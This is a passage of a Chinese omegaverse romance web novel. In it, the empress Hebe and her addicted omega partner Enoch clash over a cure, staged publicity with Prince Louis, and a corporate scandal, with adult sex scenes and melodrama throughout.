因为婚礼后的派对玩游戏来着,他被赫柏拉着坐下,回答真心话还是喝酒呢?明知道在场的人都有分寸,问题的尺度不会超过“您多少天换一次袜子”,但轮到以诺时,他直接伸手向香槟,一杯接一杯地喝。 表面上完全看不出来他醉了,只知道他在派对后半场一直贴着赫柏,环住她的身体安静呼吸。 要很仔细看,才能发现他的眼神是朦胧的,神魂早就离开这副躯壳,不知道游到哪儿去了。 路易斯坐到赫柏旁边,神神秘秘地避开其他人展开一副牌,“陛下,您帮我看看嘛,这副牌我要怎么出呀,不会了。” 赫柏低头看了看,挂在她身上的以诺先生也跟着低头,长长的睫毛垂下抬起,看看牌,看看和赫柏抵在一起的金色脑袋,收紧搂住赫柏肩膀的手臂,眼睛瞥开更深切地在她肩上蹭了蹭。 赫柏觉得又痒又重,反手薅了把以诺的金发,匆匆指了几张牌,告诉路易斯怎么打,挥手把金发小将打发走。 再看向周围,每个人的目光都很奇怪,有惊讶,有赞叹佩服,艾琳默默对她比了个拇指,意思是陛下真有本事,把以诺先生驯服成这个样子。 赫柏再厚脸皮也有点脸热,罪魁祸首以诺却眼睛一闭,埋头在她肩上,世事纷扰都与他无关。 “你先放开我呀,坐到副驾上去,我们回家再抱好不好。”派对结束,赫柏确实感受到了甜蜜的烦恼,喝醉的以诺太黏人了! 她跟维托克他们告别,把路易斯叫过来嘱咐了他几句话,忽然感到肩膀一痛,以诺咬住她肩上软肉,牙齿轻轻重重地研磨,她倒吸一口凉气。 勉强稳住呼吸:“好了,你回去吧,这些天别乱拍,紧要关头,我不希望你出任何岔子。” 路易斯似笑非笑:“嗯,陛下再见。” 赫柏被撩起来的不只是欲望还有火气,把以诺扔进驾驶座,自己爬进副驾,一把捏过他的脸。 以诺的脸太红也太烫了,呵气烫到她的手,听到她叫他的名字,他睁开水润的眼睛,就那么看着她,慢慢低头,舔了她的手背。 赫柏下意识收回手,以诺追过来,美好的脸庞越来越近,半截滚烫的舌头舔过她紧闭的嘴唇。 既像标记领地的狗,又像吐信的蛇,他勾着她的脖子缓慢加深这个吻,在他的蛊惑下,赫柏爬到驾驶座,他的身上。 她的重量足够轻,也怕压着他的腿,不是很爱用这个姿势,但以诺很喜欢,这样可以抱着她,也被她抱着,毫无隔阂,高度方便亲吻。有时候他的腿会痛,额头满是薄汗,被她发现了反而紧紧抱着她,摇头不让她离开。 他骨子里的确是有股子疯劲儿的,就像她一样。 赫柏毫不否认她是个恋爱脑,总能从各种细枝末节找到他们天生一对的证据。 “你疯了……” 衣物离身,以诺在她出神时已经调整好姿势进行了一半,赫柏频频抽气,匆忙拍下按钮关闭打开通风的窗户。 “我是疯了,你还要我吗?”又恨又委屈的一句话,亲肿了的嘴唇再次贴在一起。 赫柏抱着以诺的脑袋畅快大笑,“当然要!最好像我一样疯呢,全世界没有别人受得了你,也没人受得了我,我们天生一对,不去祸害别人。” 以诺也笑,深深抱她,把身体塞进她的臂弯里。 一打开房门,以诺就把她抵在玄关墙上乱亲,胡乱披上去的、确保他走进小区时不会太失礼的衣服全都甩掉,层叠的裤腿堆在皮鞋上。 赫柏只有一条腿站在地上,以诺掌控节奏,半个小时后她追着渐渐软倒的人下坠,转移阵地到客厅沙发和地毯上,每次她以为可以了,以诺却勾着她的脖子摇头,眼角浮起委屈的嫣红。 “已经过分了,你会受伤的。”她抚摸以诺的脸,他闭眼用脸颊蹭她手背,“没事,真的没事,来吧,我想要你。” 赫柏觉得有点不对,以诺的状况不对,但她自己也喝了不少,很难分辨复杂的情绪,而且她是开心的,所以忽视了很多细微的点,只是笑着抱紧自己的爱人。 好喜欢呀,自 从她告诉他,爱一个人就是会变得面目全非,他真的有在尽力克服羞耻,遵循本心,肆无忌惮地亲近她,她好喜欢这样。 因为太幸福了甚至会想到,就这么死了吧,在这一刻,和他抱在一起,等别人发现的时候已经是两具无法分开的尸体,世人再怎么议论滔天,他们早就携手在黄泉路上做一对鸳鸯野鬼。 和他一起死,是她能想到的,此生最好的结局。 赫柏因为这个念头激动地胡乱流泪,趴在以诺身上,任由眼泪渗进他的皮肤。 夜深人静,混乱的大床上,赫柏早就沉沉睡去,以诺还维持着入睡前的姿势,从身后抱她。 每当赫柏睡着,就会蜷缩四肢和身体,像一团初生的白鸽,孱弱的呼吸,即便在深夜里也不会有很大动静,以诺有时候会情不自禁地探向她的鼻息。 或是颈部脉搏,纤弱但有力的血脉从薄薄的颈下皮肤流过,他把手搭在那儿,感受她熟睡时收敛起来的生命力,这一点微弱的火苗,在她清醒时会像离火漫山遍野烧尽。 这样的赫柏,注定不会只属于他一个人,而他生出贪念,竟然想要她永远停留在他身边,那双沉黑的眼睛永远看向他,无论乖巧可爱还是暴戾凶悍,都由他一人承担。 怎么可能呢?以诺,你太贪心了。心底的声音一次又一次告诉他,你应该想想,还能为赫柏做什么,还能做些什么,才能称得上,爱她。 为此彻夜流泪,抱着轻柔似云的女孩,眼泪沾湿了枕头,冰凉的一片被脸颊晕干,又被新的眼泪沾湿,直到窗帘外天光大亮,赫柏的眼皮弹动,即将从梦中苏醒。 “唔,以诺……”还没彻底清醒,她转身扑腾进他怀里,一条腿搭过来,想起什么,手往他的病腿探去,闭着眼哼唧,“昨天那么激烈,痛不痛啊,肯定痛死了吧,都叫你收敛点儿,真是的,今天多做半小时复建吧。” 以诺扶起她的脑袋,往嘟嘟囔囔的嘴唇落下轻吻。 身体越贴越近,就那么蹭过来……赫柏顿时睁眼,被按着肩膀压在床上,双眼惊讶地睁圆。 “你……” “有点痛,但是没关系,我,我想要。”以诺说着说着,一行眼泪坠落,在熹微的晨光里无比清晰,一片淫。靡的场面里,他皎白的脸庞没有任何邪念,跟热情的动作截然反差。这颗眼泪和他的神情,像一己之身渡苦渡厄的救世主那样圣洁。 赫柏不知道为什么感到一阵心痛,下意识想要阻止他这样做。 床边的手机震动,“手机,手机——”赫柏在被子里划拉了很久,震动声快要停止时才把手机摸出来。 “你说什么?好,我马上过去。” 挂断电话,赫柏喘着气攀着以诺的手臂,“好,好了,今天先这样,路易斯那小子昨晚出车祸了,我得去看看。” 以诺跌坐在床沿,低头,双手搭在皱巴巴的丝绸床品上。 赫柏迅速洗漱完,穿好衣服,中途打了很多个电话,交代各种事情,还记得嘱咐他几句好好休息,记得做康复训练,药也记得吃,“我一有空就回来看你”,说完就出门了。 关门声毫不留情,以诺坐了很久,才发现自己又流了一片眼泪,还好没让赫柏看见。 赫柏这一走就是一个多月,处理路易斯的事情,那小子实在顽劣,在艾琳的婚宴后竟然醉酒飙车,车子撞进百货大楼的玻璃门里,彻底报废,气得她扇了路易斯一巴掌,她辛辛苦苦帮他营造的好名声,就要全被他自己给毁了。 路易斯缩在墙角哭都不敢大声哭,弱弱地说下次不敢了。 事情已经发生,当务之急是找当时到场的媒体删除所有照片,还有处理网上流传出去的照片、掩盖对他不好的舆论,赫柏和团队成员忙的脚不沾地,想起来就去揍路易斯两拳出气。 等忙过这一阵,才发现好久没见以诺了,再看新闻,原来外界都在说以诺已经失宠了,现在她每天陪着路易斯,安慰他车祸后受伤的心灵…… 第59章 第59章不会改变 意识到自己可能冷落了以诺,赫柏有点崩溃,她工作起来就是一直连轴转见各种人各种媒体,根据团队不停调整的计划准备各种新的说辞,很经常地几天连着没睡过整觉。 还得和路易斯一起,完成团队根据“路易斯意外受伤”这件事写出来的新剧本。 因为早就给路易斯打造了“金融天才”的人设,经常带他出席一些经济会议,这次为了安抚自己的小男友,陛下把几个亿金币的私人股票送给他,而他随手指点几下,过了几天价值翻倍高位抛售,轻轻松松成为一个超级富有的小白脸,让陛下刮目相看,对他更是珍爱得不行,甚至超过了以诺先生。 配合媒体摆出“陛下很爱路易斯王子”的各种角度的照片,小心翼翼地呵护娇弱美丽的omega小王子,破天荒地出行时亲自给他拉车门,很霸道地把手横梗在他的腰间,对待以诺先生才不会是这样一副占有欲爆表的模样呢。 没有人知道美好的照片底下赫柏掐路易斯的手臂,发泄他带来烂摊子的不满,路易斯痛得飙泪却不得不对着只会过的镜头的方向展露最美丽含情意气风发的表情就是了。 还有一些小事需要赫柏配合出演,巩固大家对于路易斯“虽然吊儿郎当但却能力超强,平时不努力但只要努力就一定可以考一百分”的印象。 直到一切尘埃落定,民众的议论和两国对路易斯的喜爱度回到他们团队所预测出来的方向,赫柏才终于精神松懈,蜷缩在宽大的檀木办公椅上睡着了,梦见她的以诺先生。 梦见他打开办公室的门,直接过来抱她,蔽体的白袍脱下后**,圣洁似神明的脸和淫。荡的身体形成鲜明对比,而他一点也不羞耻,分开双腿坐到她身上。 “我失宠了,是吗?”他抱着她的脑袋边亲她边问,“你怎么能这么对我,赫柏。” “到手就不会珍惜,因为我没有办法给你更多惊喜了。” “你就是这样的,小疯子,我了解你。” 才不是这样,赫柏有口难言,以诺堵住她的唇舌,热烘烘的身体像一床厚厚的被子盖在她身上,然后她突然发现以诺很平静的脸上全是眼泪,那些眼泪把她的脸也沾湿,让她感受到他看着一切如常,其实已经破碎了千万遍这个真相。 而赫柏在心疼他之前,竟然是很爽,以诺在为她痛苦,真好啊,在她见不到的角落里为她患得患失,这似乎是她很久之前,一直以来的愿望,她在所有正式的场合和身着军服的omega握手、寒暄,却阴暗地希望他有一天跪下来舔她的脚。 现在她学会心疼以诺,不妨碍自己因为得逞的征服欲而爽到。 她惊醒在最爽的时候,身体顿时非常空虚,久违的头痛也回来了,歪在座椅扶手上回神,盯着一片寂静的大门看。 她真是做了个好梦,以诺不可能做这种事,他一直是骄矜高贵的omega,即使在信息素上瘾最难受的阶段,会做的也只是送来一份他用完的抑制贴,迂回表达诉求,他再想要,都会摆出一副半推半就,不得已为她付出的姿态,这股欲拒还迎冷冷勾人的劲儿就很能拿捏她。 桌上摆着艾琳送来最新的报纸,头版头条上是她和路易斯快要亲上的、精心设计过被偷拍的脸,以诺……想到以诺,赫柏就在忍不住想他看到这张照片会是什么感受。 和以诺的对话框空空如也,往上滑动,只要她不主动说话,他不会打扰,但她说今天几点过去找他,他就会问想吃什么他去买菜。不知道他的信息素上瘾会发作到什么程度,在很难受的时候自己一个人做同样难过的康复训练,太可怜了,虽然他在研究所的那段时间一直都是这样的,但赫柏认为经历过自己的陪伴,由奢入俭难。 好可怜啊,她的以诺先生,艾琳一直有在紧张的工作之余报告他的动向,赫柏知道他出席了几场集团活动,推动军方和雅文帝国加强联系,成立战争武器联合研究组织,把国内的一些人才推荐过去,包括,被关押了半年后出狱的夏洛克。 那位愚蠢到在发布会上播放他们亲密录像的女beta,妄图掀动民众舆论,动摇她和以诺的关系……但是那 些照片和视频毕竟都是真的,赫柏知道,如果判刑太重以诺会良心不安,所以以诽谤名人罪关押了半年,算是小惩大戒。 以诺又开始以德报怨烂好人了,如果是以前,赫柏不知道自己会怎么生气,但是现在她很平静,因为她爱以诺,所以她给他最多的权力,让他做任何想做的,让他自己开心的事情。 因为确认以诺爱她,所以不会患得患失。 她认为自己现在是一个非常健康的人,想马上把这个发现告诉以诺,然后呢,她想握着他的手告诉他,把心教出来,和她一起学习爱,成年人也需要学习很多东西,这一点也不羞耻。 然后想要问他你在送别夏洛克的时候跟她见面了吗,你不告诉我这件事,我会有点生气,将心比心,我以后也会慢慢告知你我见了谁,什么时候要和路易斯逢场作戏,那都是做戏,是假的,我只爱你,你也不要难过。 赫柏给以诺发了见面的信息,办公室大门忽然打开,艾琳拿着一份报告匆匆进来:“斯宾塞集团出事了。” 准确来说,是快要出事了,智能检测模型一刻不停地抓取星网社交媒体关键词,最近几天关于“斯宾塞”的议论激增,绑定着大量负面情绪,原因是一个建筑工地上又死人了,家属声讨集团,被集团主席安妮塔强硬镇压,这件事和前面几件类似事件一起,热议的声浪渐起。 “很可能演变成大型舆情事件,我们需要早做应对。”艾琳说。 赫柏把报告扔在桌上,斯宾塞集团的产业需要很多一线工人,安妮塔不把人命当回事,克扣保障,等出事了再用强权掩盖。赫柏气得发抖,她早就跟安妮塔说了要谨言慎行!不要赚那么多黑心钱,她会帮助他们慢慢把斯宾塞集团的名声扶持上去,长久平稳和谐地赚钱不好吗? 她连骂都懒得骂了,只想把这个目光短浅只想着赚快钱的人废掉,否则斯宾塞集团迟早被她拖垮。 要在不影响集团的情况下废掉安妮塔,不是一件简单的事,艾琳获悉她的想法,马上和团队研讨新的计划。 艾琳离开后,赫柏用冷水洗脸,她还要见以诺,不能把情绪带到以诺面前。 云端酒店包下一层大厅,落地玻璃可以看到270度环绕城市夜景,赫柏踏出电梯,被等待的以诺抱了满怀,他在柔柔的音乐声里亲吻她,亲完后抱着她的肩膀伏在她肩上。 好暖呀,外面飘着雪呢,进来之后就很暖,爱人的怀抱是世界上最暖和的地方,赫柏搂住以诺的腰身,深深吸气。 “想我了吗?” 以诺点头,用语言确认一遍,“想,很想。” 从他软成一滩水的身体就知道有多想了,赫柏偏过头,咬掉他脖子后的抑制贴,在他的一声闷哼和身体震颤中,放肆呼吸漫天飘散的信息素。 她一直紧绷的精神也得到有效疏导,在上天的旨意下演变出AO两种性别,信息素的结合对双方都是有好处的,她现在仿佛被顺毛的猫,舒服得要命。 什么路易斯,什么加里南帝国什么斯宾塞家族都不重要了,都是可以抛在脑后的,她努力工作,是为了和以诺一起享受生活。 偌大的宴会厅早就清空了,没有他们的吩咐不会有人进来,吃饭和性。交都是头等大事,他们就在窗边吃两口做一下,这又突破了以诺的底线,一直埋头在她肩上闷着气。 赫柏拍拍以诺,“别咬我肩膀了,来吃饭吧,今天的海鲜汤好好喝哦。” 以诺摇头,过了会儿抱着她转过去,头发丝的湿了的脑袋,他张开嫣红的嘴唇,看向窗外,也不说话就是要她喂汤。 赫柏舀起一勺稳稳当当送过去,到他唇边,omega屈尊降贵地垂下脖颈,一勺汤分成十几口轻轻抿走,小口吞咽,精致的长眉舒展了。 真的很漂亮,他抱着她的脖子,欲拒还迎地垂着眼,不太迎合的、偶尔蹙眉像是抱怨她胡闹的神情,全身泛粉的身体却表现着无限配合,甚至是他在引诱她一直沉沦,不要离开。 当他抬眼看过来时,柔和的灯光下,眼底是层层漾开的水纹,无声诉说情意。 赫柏抚过发起一层薄汗的身体暗暗感叹,造物主的精心工作,让人间享有这种美丽。 以后她还能见到这样的场面吗?以诺从身到心渴求她,离不开她,所有极致的美丽都被她一个人受尽眼底……维托克告诉她,已经成功研制了信息素上瘾的解药。 要从她的腺体里抽取信息素配置解药,失败了几次,维托克表示那是很正常的,他在研究一种全新的药剂,失败是很正常的,她本着用人不疑的原则忍痛抽取了很多次信息素。 还被维托克打趣,“以前的赫柏绝对不会这么做”,是啊,她怎么可能为了一个omega让自己痛苦呢,但她现在,更想要让以诺变回一个自由的人,为此她愿意忍受痛苦,这是对从前错事的一种救赎。 也是因为,她确信以诺爱她,漂亮的omega难耐地靠近,舔吻她的眉眼,亲遍额头和脸颊,她非常相信,就算以诺不再渴求她的信息素,一切也不会有任何改变。 第60章 第60章往前走吧,不要害怕。…… 赫柏的状态很好。 以诺在家里显眼的地方放了一张邀请函,同学聚会的请帖,在他收拾两人的鞋子时赫柏拿起来揭开。 “莉莉丝小姐也会回来吗?”她随口问道。 莉莉丝小姐,当年以诺的追求者之一,在她的父亲尤利斯被赫柏清算后逃离了莱茵帝国,在国外生活了两年,很多人趁着赫柏的执政理念柔化回国,她也是其中之一。 以诺鼻腔发出一声“嗯”,语气轻而慢:“莉莉丝说,想要和我见一面。” “这样啊,你不要喝太多酒,那天我没有时间,我叫亲卫去接你。”她把请帖放下就去浴室洗澡了。 心里存着疑虑的种子,总能在很多细微的事情上得到印证,成为供它生根发芽的养料。 以诺身体的空虚还没有解决完,双腿极为酸软,一步步踩实了地面,手撑着墙壁寻着水声来到浴室门外。 赫柏的身影被水汽和磨砂玻璃门模糊,他不停摩挲冰凉的玻璃,徒劳地想要把她看得更清楚些。 他日夜想念的赫柏终于回来了,回到藏有他的巢穴,像吃一顿美好的晚宴那样享用他。一切都像他所预想的那样,赫柏完全得到了他,所以他不再重要,让位于很多其他的事情,很快想到他都会觉得厌倦,然后他会被抛弃。 像一团用过了,皱巴巴脏兮兮的卫生纸,冲进马桶里,被毫不留情地冲走。 这是他一直以来希望的,不是吗?赫柏她现在真的很好,很好,她很快就不再需要他了,擦掉她唯一的污点,享有受人尊敬,美好顺遂的一生,很快他就可以退出她的生活,太好了。 那他在哭什么呢? 以诺用手背擦掉眼角的一点泪,玻璃门刚好打开,赫柏拍拍浴巾围着的胸口,“以诺,你怎么站在这,吓了我一跳”,她勾起他的手,“你来给我擦头发吧,我好困,想睡觉。” “嗯。” 她趴在他怀里睡得恬静,以诺搂着她的alpha,把她放进他的身体里,是他安顿着她,却也是他从她身上汲取温暖,整夜无眠,看着窗帘缝隙渐渐倾洒晨光,天亮了。 …… 窗外飘着雪,办公室内,艾琳告诉赫柏,路易斯争夺皇位的时机已经成熟。 “路易斯王子的哥哥姐姐为了夺位,把加里南国内局势弄得一团糟,民众怨声载道,昨天在国会中心发生了一场冲突流血事件,杜兰特王子在事故中受伤,对于路易斯王子,这是很好的机会……” 艾琳报告这邻国的局势,赫柏专注看手边的报告,一心二用地点头。 “还有一件事,昨天开始,各大社交媒体突然多了很多对斯宾塞集团不利的信息,造成集团股价大跌,”艾琳把另一份报告呈送到赫柏面前,“这些信 息非常准确详实,专门指向集团黑幕,技术人员初步分析,是集团内部的工作人员放出来的,我们会继续追踪。” 赫柏用钢笔敲击脑壳,看向报告。虽然她想废掉安妮塔,但那需要徐徐图之,当务之急是稳住集团的股价,而这个“神秘人”比他们急迫得多,放出来的都是狠料,目的显然是搞垮斯宾塞集团。 对于这个“神秘人”,她的忽然有种非常不好的预感,抬眼和艾琳对视。 艾琳说:“这个人放出的一些信息,只有集团高层和懂事才能接触得到,那些人都和集团绑在同一条大船上,休戚相关,不大可能出卖集团。” 所以做这件事的人,很可能是,以诺。 赫柏按了按眉心。 艾琳请她先别担心,和以诺先生好好谈谈,“以他的性格,确实很难做到对斯宾塞集团的丑闻熟视无睹,或许他怕您为难,怕您因为他而对无法对斯宾塞集团做出正确的决策,所以才决定独自面对,总之,你们先好好谈一谈。” 赫柏点头。 “以诺先生,在拉纳西省参加完集团的分公司活动,已经于昨日回到首都,今天是否要邀请他共进晚餐呢?” “不用安排。” 赫柏的手机里躺着一条早晨以诺发来的信息,邀请她晚上一起参加福利院活动,她拒绝了艾琳为他们预定晚餐的提议。 肩上一沉,路易斯不知从哪里钻出来,坐在她身边,金色脑袋蹭她的肩膀。 赫柏把斯宾塞集团的报告塞进柜子里,反手递出加里南帝国报告,路易斯“嗷呜”一声,垂头搭脑地翻看起来。 看完了皱皱鼻子,熟练撒娇:“不想回国嘛,不想离开您。” “你不想回国?”陛下的声音微沉,路易斯立即正色说:“不是的,我知道陛下为了帮我付出了很多,这对我来说是千载难逢的机会,但我一想到要离开生活了两年的莱茵帝国,就觉得很难过,不知什么时候才能再见您一面。” 赫柏揉了把他的金发。 路易斯实在是一位很会观颜察色的omega,该撒娇时撒娇,该安静时安静,做错了就跪地求饶,又长得好看……平心而论,赫柏还算喜欢他。 “人生还有那么长呢,总有机会再见。” 赫柏离开办公桌,站在门边给自己系上围巾。路易斯过去帮忙把格纹围巾翻出来,她的脸被遮住大半,突显一双明亮的眼睛,眨巴眨巴,双手插进大衣口袋,“今天是国难日,中学校都放假了,你也去玩儿吧,记得带上警卫。” “赫柏姐姐。”在赫柏拉门时路易斯叫住她,缓了一口气看向她:“今天,是您的生日。” “是。” 路易斯知道这是一个禁忌的话题,现任皇帝的生日,是她亲生父母的忌日,也是前任皇帝确认下来的国难日。什么都不说是最好的,最安全的,但他实在忍不住说:“我能不能,送您一份礼物。” “今天吗?我没时间。” 早就知道会是这个答案,路易斯还是失落,吸气笑笑,“您来不来都好,我会在首都广场您的雕塑下等到明天,这是我的一份心意,我愿意那样做,您不来的话,我会在许愿池边默默为您祈福,一整夜,祝福您万事顺心。” 赫柏耸了耸肩,“随便你。”推门离开。 跟假期绑定的国难日已经少了很多悲伤的遗憾,随着新任皇帝的即位,默哀和致敬英雄等活动渐渐省略了,很多小孩子认为这就是一个天然的假期。 赫柏没坐汽车和飞船,踏着积雪走过两个街区,一路上遇到数不清的小孩子在追逐打闹,有几个撞到她腿上,她也没生气,只是揪着衣领把孩子扯开。 街边的屋檐结着冰棱子,年轻的夫妇从面包店里出来,抱着一袋节日的面包搓手呵气;年长的夫妻挽手拄着拐杖在湿滑的街道上慢慢行走;穿着中学制服的小情侣,在长椅上交换一个焦糖饼干味道的吻…… 面包店后厨的窗户打开,一阵糖霜携着新鲜出炉的面包香气,飘散在小巷子里,像下了一场香香甜甜的雨。 乱糟糟,脏兮兮,却又真实美丽,赫柏深深呼吸着这一切,想到很快就要见到以诺,嘴角的微笑完全压不下去。 她愿意相信真相就是艾琳说的那样,以诺主动放出斯宾塞集团的黑料,是因为不想让她为难,他爱她多过他的家族、他的亲人,这样的想法让她开心。 赫柏捏紧口袋里的“解药”,维托克历时半年研制好的药剂,可以治愈以诺的信息素上瘾,想象送给以诺时他的表情。 她相信,把“解药”交给以诺,让他变回一个体面优雅的人,他会更爱她,更爱他的生活,也更爱她。 走了一个小时,到福利院时天色完全沉下去,是深紫色的晚霞,下了小雪,园子里隐隐传出童稚的歌声,清俊的男人撑着伞在铁栅栏门旁等候。 赫柏在路口和以诺远远对视。 她有时会想到在庄园那天晚上,他们唯一一次激烈地争吵,以诺哭着说他想要得到解脱,而她斥骂他让她为难,之后,他真的没再说过那样的话。 默默地爱她,照顾她,为她付出,在她任何需要的时候,以她喜欢的姿态出现在她身边。 以诺可以忍耐一辈子,闭口不言痛苦,但是这次赫柏不想再逃避,她要把解药交给他。 她跑过去抱住男人的腰身,闭眼深嗅他的气息,以诺一手撑伞,一手替她拂去头顶的细雪,环住她的肩膀。 “我爱你。”赫柏靠在男人的肩上,亲他肩膀的衣料,“我爱你,我爱你,以诺,我爱你。” 以诺的颈边泛起一道红痕,从耳根蜿蜒到锁骨,痒得发笑,握紧赫柏的肩膀,“好了,赫柏,待会儿我站都要站不住了。” 赫柏的眼角挑亮,用舌头舔了一口耳畔的皮肤,“那找个地方先来一次?” “不要,活动快开始了。”以诺语气严肃,“赫柏,出门前我喝了很多抑制剂,都喝吐了,你不能这么对我。” “对不起。”赫柏从善如流地抱歉,心里更加期待,把药剂交给以诺,他一定会很开心的。 以诺牵着赫柏进入福利院,很多孩子迎上来,唧唧咋咋地问候亲王殿下,虽然院长纠正过不能再叫亲王,他们不明所以,常常改不过来。 赫柏缩在围巾里,眼观鼻鼻观心,以免吓到小孩子。 以诺被孩子们缠住,看他们画的涂鸦,没办法地对赫柏笑笑,请她先四处走走,赫柏实在不想看满地泥猴子打滚的场面,双手插兜走了。 今天是福利院院庆,每个教室都有活动,赫柏一个个教室走过去,在最后一个教室停住。 和前面吵吵闹闹的教室不同,这个教室很安宁静谧,十几个孩子并着膝盖坐在小板凳上,在小画板上作画,一个红发男老师在每个孩子身后耐心指导。 大多数男老师是削去攻击性的omega,这个人看起来也是,赫柏只看到他的背影,白皙的脖颈,有一点训练痕迹的肩胛,马甲收紧的窄细的腰身……一举一动斯文儒雅,堪称赏心悦目。 怀着对美好事物的欣赏,赫柏希望他转身,让她看一看他的脸。 等他站好,转身,让她看清他的长相,她的笑容僵在脸上。 “亚瑟?” “陛下……” 亚瑟有种长开的感觉,婴儿肥褪去,皮肉和骨头更贴合,赫柏可以承认他现在算是好看,但他一看见她,眼眶迅速变红,嘴唇欲言又止地颤动,还是让她看到一点从前那个亚瑟的影子。 赫柏站在窗外,眸光渐渐 冷下来。 “我离开研究所后,亚瑟也离开了,一直在为福利院工作,他很温柔,很有耐心,孩子们都喜欢他。” 很轻的脚步声在身后,以诺来到她身边,握住她的手腕细细摩挲。 赫柏已经猜到他要说什么了,转身面向他,眼睛变得酸胀,“所以呢?” “他还是很爱慕你,希望能得到一个在你身边侍奉的机会。” 赫柏看着以诺默然流泪。 普渡众生的圣人,对高贵的皇帝和卑贱的侍臣一视同仁,谁都别想在他那儿讨到一份特殊。 卑贱的侍臣向他恳求,我想要留在皇帝身边,求您让我留在皇帝身边,圣人答应了,给了他庇护的房子,温暖的壁炉,浩如烟海的书籍和美好的衣服,帮助他变成一个世俗意义上优秀的人,在皇帝出巡时,让他出现在皇帝面前。 赫柏眨了几次眼睛,眼泪融得围巾湿润一片,她走了这么远的路,也只是为了圣人回身,给她一个专属于她的拥抱,每次,每次她以为终于成功了,圣人就会温柔而残忍地告诉她,那只是幻觉,那是不忍她痛苦,赐给她的一场美梦。 “赫柏,别哭。”以诺展臂抱她,修长指节按揉她的颈骨,这种熟练的安抚动作从十几年前延续至今。 “别哭,别哭,赫柏,我爱你,亚瑟爱你,路易斯爱你,艾琳和维托克他们都爱你,从此后你的生日,你再也不会是孤身一人,那么那么多的人在陪伴你,守护你,爱你,赫柏,往前走吧,不要害怕。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-67 第61章 第61章发疯,发疯 所以,以诺真的是很想死了,主动毁掉整个斯宾塞集团,等集团分崩离析,他就孑然一身了,她也没什么可以要挟他的了。 给她准备好了新人,他亲自培训过的,一举一动都和他一样。 留在她身边,就让他这么难受?已经那么好了,好到她的心放在肚子里,不再患得患失,他却还是讨厌她,每天都恨不得去死。 赫柏不说话只是哭,上天让她把所有委屈在以诺这儿受完了。 尖锐的疼痛扎进她的心脏,她不知道以诺身体上的痛苦到底有多痛,应该比她要痛吧,可惜他们永远无法共通对方的感受,而现在,他还了她重重一击。 虽然还是没办法扯平,但是,她欠下的东西,是该还的。 以诺抚过赫柏的脸,长指沾满眼泪,她在为他流泪,“不要这样,赫柏,我不是想伤害你。” 赫柏摇头,由着他给她擦泪,大半张脸藏在围巾下,被泪水模糊的眼睛盯着他看,哭成这样,声调却比平时冷静。 “我知道,你不想伤害我,你很爱我,但你不能原谅我对你做的事。” “不。”以诺握她的手,赫柏摇头,冷腻的掌心从他手心滑落。 她很少这样低落,以诺反而慌张,抓住她的手臂看她的脸,赫柏挣脱他的触碰。 “既然你不原谅,我就再说一句对不起,然后,我还是想说,你是个胆小鬼。”她冷静地笑,扬起沾满泪水的眼睫,一字一顿,“你不敢承认你对我有爱情,因为那样就背叛了你的清高自傲,你的原则和你的道德!你洗脑自己是在为我做牺牲,是不是觉得自己特别善良特别无私,你用为我好的名义把我推开,是不是特别满足你那颗圣父心!” 以诺怔然看着她,眼眶也泛红。 比他年轻很多的女孩,如此锋利,话语像一把刀刃剖开他所有隐藏的懦弱和不堪。 赫柏仰起脸,纯黑瞳孔不见半点光亮,含着泪却带上了审讯犯人时才会用到的威压神色,“你现在做的事才是深深伤害我,我明明爱你,我忏悔做过的错事,我一直在想方设法让你重新获得万民的爱戴和敬仰,我在努力让我们之间再也没有任何阻碍,而你呢,你把我的爱扭曲成占有欲,把你自己的爱想象成是无私地为我付出!你把我们之间的感情变成肮脏的占有和妥协!” 不是这样,他爱着赫柏,他只是想让她拥有完全的自由,在将来的某一天感到厌倦,想要他永远消失在眼前,不会有任何为难。 以诺一次次地想要触碰赫柏,握住她的手,告诉她这个事实,却被她不断推开,他第一次被赫柏推开,怅然若失地重复:“我不想你为难。” “以诺,你是个胆小鬼,我瞧不起你。” 赫柏摊开手掌,掌心里躺着一支药剂,透明淡黄色液体,在以诺眼中仿佛有天大的吸引力,他去接过药剂。 赫柏从不委屈自己,如实告知:“为了治疗你的信息素上瘾,我请维托克研制了大半年的解药,失败了五次,”她已经没有眼泪了,翘起干涸的唇微笑,“五次,从我的腺体里抽取信息素去配置解药,每次都痛得要死,但我很想还给你自由的身体,所以才忍耐了下来,我想为我自己赎罪。” 以诺猝然流泪,捧着药剂的手颤抖,赫柏继续说:“这个还给你,我就不欠你什么了,你倒是不必要急着死,大不了废掉你这双辛苦换回来的腿,坐一辈子轮椅,那样就不用忍受每天的康复训练,你不会疼痛,你还有很多的时间,去爱整个世界上的全部人,继续做你大公无私的圣父。” “我的心很痛,”赫柏纤细的五指搭上前胸,感受心脏的跳动,“因为我爱你,所以我给了你伤害我的权力,这是我应得的,我无怨无悔。既然你这么过不去,我不会再逼你,此时此刻,这句话是真心的。” “最后,以诺,我看不起你。”赫柏大步离开福利院。 看着她离开的背影,清俊的男人握着药剂泪流不止。 天空全都暗下来,赫柏收紧大衣,走在霓虹灯亮起的街道上,还是一直哭,眼泪在脸上风干又冷又黏。 “国难日快乐!”一个小孩和另一个小孩碰了碰手里的风车。 “嘘!不能说国难日快乐!以后不准说了。”爸爸捂住小孩的嘴巴。 “为什么呀?” “因为这是个不详的日子,20年前的今天,很多士兵死在敌国的战场上,就连我们亲爱的罗伊王子也是……老皇帝把今天定为国难日,是叫我们要祈祷、缅怀,和感恩。” 不详的日子,现任皇帝的20岁生日,赫柏站在路灯下一个劲儿地哭,刚才对以诺说的那些话是很解气,但她现在很想跑回去,扑进以诺怀里,对他埋怨刚才听到的话,对他哭诉,没有人记得她的生日。 她的背后,广场上突然亮起灯光,从周围几处百货商店的屋檐到广场中心她的雕塑上挂着小彩灯,很幼稚的小彩灯,和周围格格不入。 路易斯在拉小提琴,是变调了的乐曲,很难听,一些经过的市民纷纷辱骂,说这么难听就不要拉了,被他身边的卫兵请走。 渐渐的整个广场都没人了,民众骂骂咧咧,被他的小提琴声难听走了。 赫柏走进光圈里,路易斯下巴压在琴上,垂眼拉琴走近她。 赫柏听出来,是变调的《生日快乐歌》,他在她面前琴弦夸张地画了个圈,做了个老绅士的恭请动作,再次把琴弦放在琴上,这次拉出来的是完美的《生日快乐歌》。 赫柏捧腹轻笑。 陪路易斯一起去加里南帝国,作为omega小王子长达两年的情人,邻国的皇帝,理应陪他回家处理家事。赫柏再次展示了政治手腕,让几股相互掣肘的势力都屈服于路易斯。 